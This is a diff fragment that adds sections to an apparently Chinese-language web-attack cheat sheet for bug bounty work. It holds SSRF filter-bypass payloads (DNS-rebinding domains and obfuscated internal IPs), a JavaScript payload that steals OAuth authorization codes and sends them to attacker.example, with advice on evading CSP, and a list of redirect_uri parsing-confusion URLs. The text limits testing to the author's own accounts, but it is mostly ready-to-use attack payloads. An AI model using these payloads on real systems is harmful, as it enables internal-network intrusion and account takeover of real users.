2410
+ # 使用rbndr.us自动DNS重绑定
2411
+ http://7f000001.c0a80001.rbndr.us/internal
2412
+
2413
+ # 使用1u.ms
2414
+ http://make-127.0.0.1-rr.1u.ms/admin
2415
+
2416
+ # TOCTOU: 检查时域名解析到白名单IP,请求时解析到内网IP
2417
+ ```
2418
+
2419
+ **3. IP地址混淆表示**
2420
+ _使用十进制、八进制、十六进制和IPv6映射等不同方式表示内网IP绕过黑名单检查_
2421
+ ```
2422
+ # 十进制IP
2423
+ http://2130706433 (= 127.0.0.1)
2424
+ http://3232235777 (= 192.168.1.1)
2425
+
2426
+ # 八进制IP
2427
+ http://0177.0.0.1 (= 127.0.0.1)
2428
+ http://0x7f.0.0.1 (= 127.0.0.1)
2429
+
2430
+ # 混合进制
2431
+ http://0177.0x0.0.1
2432
+ http://127.1 (省略零段)
2433
+ http://127.0.1
2434
+
2435
+ # IPv6映射
2436
+ http://[::1]
2437
+ http://[::] (= 0.0.0.0)
2438
+ http://[::ffff:7f00:1]
2439
+ ```
2440
+
2441
+ ### OAuth 授权码劫持 — 在 redirect_uri 内执行的 JS payload
2442
+
2443
+ OAuth 中 `redirect_uri` 若允许任意子路径(或 open redirect / XSS 落点),攻击者可在跳转后的页面执行 JS 把 `code` exfil 到自己服务器,完成无感劫持。受害者只看到正常的 OAuth 同意流程。
2444
+
2445
+ ```javascript
2446
+ // 在攻击者控制的 redirect_uri 页(或 redirect_uri 域上的 XSS sink)中执行
2447
+ var urlParams = new URLSearchParams(window.location.search);
2448
+ var capturedCode = urlParams.get('code'); // 也可换成 'access_token' / 'id_token'(fragment 模式)
2449
+
2450
+ if (capturedCode) {
2451
+ var http = new XMLHttpRequest();
2452
+ // GET 模式带在 query;实战推荐 fetch + no-cors 或 navigator.sendBeacon 以规避 CSP report-only
2453
+ http.open("GET", "https://attacker.example/log_code.php?code=" + encodeURIComponent(capturedCode), true);
2454
+ http.send();
2455
+ }
2456
+
2457
+ // implicit / hybrid flow(token 在 fragment):
2458
+ // var fragParams = new URLSearchParams(window.location.hash.slice(1));
2459
+ // var token = fragParams.get('access_token') || fragParams.get('id_token');
2460
+ ```
2461
+
2462
+ **何时用**:`redirect_uri` 校验允许 `https://target.com/anywhere` 子路径任意,且子路径有 XSS / 第三方 widget 注入面。证明影响时只对自己控制的两个账号操作,不要诱导真实用户点击。
2463
+
2464
+ ### OAuth / redirect_uri URL 解析差异 — 通用绕过库
2465
+
2466
+ 服务端常用 startsWith / parse_url / regex 比对 redirect_uri,但客户端浏览器解析按 [RFC 3986 + WHATWG URL](https://url.spec.whatwg.org/) 实际跳转,两者解析差异 → 跳转到攻击者域:
2467
+
2468
+ ```text
2469
+ # 用户态字符歧义(@、./、@host 形式)
2470
+ https://example.com?@www.attacker.com/
2471
+ https://example.com/@www.attacker.com/
2472
+ https://www.attacker.com@example.com/
2473
+ https://www.attacker.com.example.com/
2474
+ https://example.com?.www.attacker.com/
2475
+ https://example.com#.www.attacker.com/
2476
+ https://example.com/.www.attacker.com/
2477
+
2478
+ # 双重 URL 嵌套
2479
+ https://example.com/https://www.attacker.com/
2480
+ https://example.com%2f@example.com/ # %2f 解码歧义
2481
+ https://example.com%2f@attacker.com/
2482
+
2483
+ # 反斜杠 (`\`) — 部分库视为 path-sep,浏览器视为 host-sep
2484
+ https://example.com\@www.attacker.com/
2485
+ https://example.com\\@www.attacker.com/
2486
+ https://www.attacker.com\@example.com/
2487
+
2488
+ # 字符集编码绕过(后端做 mb_convert_encoding / iconv 时,%ff / %df 可能消失或合并下一字节)
2489
+ https://example.com%ff@www.attacker.com/
2490
+ https://example.com%df@www.attacker.com/
2491
+
2492
+ # 字符集解码后端样本(PHP):
2493
+ # $url = mb_convert_encoding($_GET['url'], "GBK", "UTF-8");
2494
+ # %df 在 GBK 下与下一字节合并,host 段被吞掉
2495
+ ```
2496
+
2497
+ **真实命中要点**:
2498
+ - 服务端用 `parse_url` / `urlparse` 取 host 后做白名单比对,但客户端按 WHATWG 实际跳转 → 解析差异
2499
+ - 服务端做编码转换(GBK / Big5 / Shift-JIS)前先比对 → 解码后 host 改变
2500
+ - 反斜杠在 Go / Node.js / Python 部分库视为 path 分隔符,浏览器视为 host 分隔符
2501
+
2502
+ **报告价值**:从中危(open redirect)升到高危(账号接管)的关键是结合上面 §OAuth 授权码劫持 payload 证明可拿到他人 `code`。仍仅自演,不抓真实用户 code。
2503
+
2504
+ ---